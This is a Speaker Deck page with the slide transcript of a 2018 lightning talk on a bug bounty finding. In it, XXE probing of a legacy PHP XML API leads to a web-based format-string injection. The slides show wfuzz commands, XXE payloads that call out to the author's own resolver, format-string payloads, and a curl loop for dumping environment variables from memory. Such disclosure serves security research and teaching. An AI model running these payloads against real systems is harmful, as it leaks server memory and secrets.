Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Web based format injection, dumping memory like...
Search
Frans Rosén
September 19, 2018
Research
220
0
Share
Web based format injection, dumping memory like it's 99 (or "Please help")
My lightning talk from Sec-T Stockholm in September 2018.
Frans Rosén
September 19, 2018
More Decks by Frans Rosén
See All by Frans Rosén
X-Correlation Injections (or How to break server-side contexts)
fransrosen
0
2.1k
Story of a RCE on Apple through hot jar swapping
fransrosen
0
1.4k
Account hijacking using "dirty dancing" in sign-in OAuth-flows
fransrosen
0
440
A methodology using fuzzing and info disclosure
fransrosen
0
490
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
fransrosen
3
9.7k
A story of the passive aggressive sysadmin of AEM
fransrosen
0
8.7k
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
fransrosen
3
7.8k
Other Decks in Research
See All in Research
AIエージェント時代のLLM-jpモデルのあるべき姿
k141303
0
410
羽田新ルート運用6年の検証
1manken
0
160
論文紹介 "ReSim: Reliable World Simulation for Autonomous Driving"
kogo
0
600
AGI4OPT:自然言語から数理最適化を導くエ ージェントスキル Translating Human Intent into Mathematical Optimization
mickey_kubo
0
130
2026.01ウェビナー資料
elith
0
380
さくらインターネット研究所テックトーク2026春、研究開発Gr.25年度成果26年度方針
kikuzo
0
140
Using our influence and power for patient safety
helenbevan
0
350
ローテーション別のサイドアウト戦略 ~なぜあのローテは回らないのか？~
vball_panda
0
340
Φ-Sat-2のAutoEncoderによる情報圧縮系論文
satai
4
730
定数整数除算・剰余算最適化再考
herumi
1
120
都市交通マスタープランとその後への期待＠熊本商工会議所・熊本経済同友会
trafficbrain
0
210
LINEヤフー データサイエンス Meetup「三井物産コモディティ予測チャレンジ」の舞台裏-AlpacaTechパート
gamella
1
540
Featured
See All Featured
The Limits of Empathy - UXLibs8
cassininazir
1
340
Large-scale JavaScript Application Architecture
addyosmani
515
110k
The Anti-SEO Checklist Checklist. Pubcon Cyber Week
ryanjones
0
150
Lightning Talk: Beautiful Slides for Beginners
inesmontani
PRO
2
560
Leo the Paperboy
mayatellez
7
1.8k
Building Experiences: Design Systems, User Experience, and Full Site Editing
marktimemedia
0
520
Agile Leadership in an Agile Organization
kimpetersen
PRO
0
160
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
21
1.5k
Collaborative Software Design: How to facilitate domain modelling decisions
baasie
1
230
How to Create Impact in a Changing Tech Landscape [PerfNow 2023]
tammyeverts
55
3.4k
Rails Girls Zürich Keynote
gr2m
96
14k
Reflections from 52 weeks, 52 projects
jeffersonlam
356
21k
Transcript
@fransrosen Web based format injection, dumping memory like it's 99
or "Please help"
@fransrosen Public Bug Bounty
@fransrosen RCE is 30,000 USD
@fransrosen Methodology • Found a domain not like the other
ones
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting
path: /cgi-bin/default/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen xml_api?
@fransrosen xml_api?
@fransrosen xml_api? YEAH! 👍
@fransrosen wtf!?
@fransrosen XXE!
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???
@fransrosen
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.
@fransrosen Format String Injection?
@fransrosen Format String Injection ON ZE WEB?
@fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen I can’t handle this shit
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Limitations 0x20-0xFF (no 0x22)
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Want to collaborate? @fransrosen
@fransrosen Questions? Suggestions?
fransrosen
k141303
1manken
kogo
mickey_kubo
elith
kikuzo
helenbevan
vball_panda
.png){kind=avatar}
satai
herumi
trafficbrain
gamella
cassininazir
addyosmani
ryanjones
inesmontani
mayatellez
marktimemedia
kimpetersen
sergeychernyshev
baasie
tammyeverts
gr2m
jeffersonlam
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_27.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_28.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_33.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_34.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_35.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_36.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_37.jpg){kind=link}
